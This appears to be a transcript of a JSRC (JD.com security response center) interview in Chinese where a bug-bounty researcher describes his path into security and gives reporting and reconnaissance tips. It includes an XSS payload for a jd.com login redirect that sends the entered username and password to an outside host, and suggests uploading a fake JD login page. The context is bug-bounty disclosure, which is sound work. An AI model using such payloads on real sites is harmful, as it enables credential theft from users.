JSRC小课堂第141期,邀请到R师傅(知道创宇安全工程师,ChaMd5安全团队成员)就京东的挖洞历程为大家进行分享,QQ开课群:464465695,同时感谢白帽子们的精彩讨论。
京安小妹:是什么机缘让R师傅开始挖洞的呢
R师傅:
回想起来,我是在2014年开始学习漏洞挖掘相关知识的。记得那是个秋高气爽的9月,懵懂无知的我刚刚踏入大学校园,在新生群组里被几位比较热心的学长邀请进了学校信息安全协会的兴趣群,当时自己对这个协会不太熟悉,就一直在群里潜水。
10月学校社团开始正式招新,@iDer捧着招新传单,不断跟我聊上面列下的各种奖项,我终于按捺不住自己的内心,从此跟@iDer走上了一条不归之路。
在接下来的学习生活中,通过学长分享给我的相关教程,和hac学生红盟工具包,用啊D和明小子干了整个大一。
我觉得这样不太行,我要改变!于是我和很多伙伴一样,开始了CTF学习之路,每天定时认真做比较权威的入门题。这个时间段是我个人提升最大的阶段,我学到了许多新的东西,知道了各种以前不知道的知识,例如注入的原理等等。
随着自己的成长,有幸结识@pcat并成为他的小弟,跟着团队一起打比赛。在大家的相互帮助下,某天惊喜的挖到了漏洞,从此踏上了挖漏洞的旅程。
京安小妹:R师傅在挖掘京东漏洞方面有什么想分享的呢
R师傅:
我的第一个漏洞不是献给JSRC的,是献给先知众测的。没错,那是2016年一个月黑风高的晚上,我盯着先知项目的App,终于凭借着运气和以往的积累,发现了一个不容易被别人发现的越权漏洞。
这个漏洞大概是从App某神秘地方跳转到内嵌的网页,通过uid直接获取到了别人cookie。
还记得提交漏洞了,第二天上课的时候,10分钟刷新一遍网页,看看审核了没有,贼激动,有木有,毕竟第一次嘛。
好了说到正题,我个人觉得挖洞的话,不管是SRC还是众测,得把漏洞危害写清楚,因为审核应该都是按照实际业务危害来评级的,不是按照我自己认为的漏洞危害来评级(省得自己跟小妹哔哩吧啦哔哩吧啦半天,然后小妹又和审核哔哩吧啦哔哩吧啦半天)。毕竟安全是为业务服务的。
下面我们举几个例子来说明:
相信大家都遇到过登录的地方url跳转成的XSS漏洞,你直接输入提交一个http://jd.com/login?backurl=javascript:alert(1)。JD的审核看了payload的话多则30分,少则9分,我说的没错吧。
但是我们稍微的改改payload呢:
http://jd.com/login?back=javascript:location.href='http://127.0.0.1/?username='+$('input[type=text]').val()+'&password='+$('input[type=password]').val();//jd.com
其中+,&符号需要自己编码。
再举一个,任意上传文件到资源服务器的漏洞也很常见吧,可能大多数人就只上传个html,alert(1)证明有个存储型XSS,那为何不上传个JD登录页面呢?这样给到审核参考的资料更详实。
现在基本上cookie是httponly,所以为了证明危害,还可以给后台截个图。
其次挖洞,很多人都说过资产很重要,由于我主要是做众测,范围基本上大部分是确定了的,比较拼手速,并且挖洞比较佛系,所以没有搜集资产的习惯,顶多riskq看一看,我讲讲我前段时间挖京东收集资产的主要思路(其实很多大佬都讲过)。
AppStore
AppStore可以看来自此开发者的应用有哪些,但是京东内部体系复杂,所以在AppStore上开发组织并不是统一的,所以你可以去发现很多,下面来例子,同时结合在微信小程序搜到的程序名字,没事干在AppStore上搜一搜,会发现很多很多想不到的东西。多关注App更新的功能描述也是很重要的。
微信公众号
直接搜索京东,或跟京东相关的词语。
账号
因为很多功能需要高权限账号的,比如说商家后台,这个时候需要个商家账号,物流,你需要个快递员的账号。有了账号你就有更多可以测的功能,并且你独享测试这些功能。
IP段
JD还是有很多业务是解析到真实IP的,C段上能找到很多真实的业务,同时可ipwhois.cnnic.net.cn上查找此IP注册商的当前IP所在的整个段有针对性的去扫描。
京安小妹:R师傅对新手白帽你有什么建议么?
R师傅:
我觉得新开始学安全的大学生,一定要把眼界放开,不能安逸在自己学校的那个圈子,当然,主要是我学校比较菜。幸亏后面当了pcat的小弟,要不然现在可能就跟着室友去画pcb板了。
对于完全的萌新来讲,先看看漏洞,挖挖漏洞(主要目的是提起兴趣),不可沉迷,然后再去学学代码,数据库,操作系统等等,这样你就会越来越棒。
对程序猿来讲的话就熟悉原理,了解各种安全配置,然后干就完事了。
其他的因为我也是小白,我也没啥建议的了。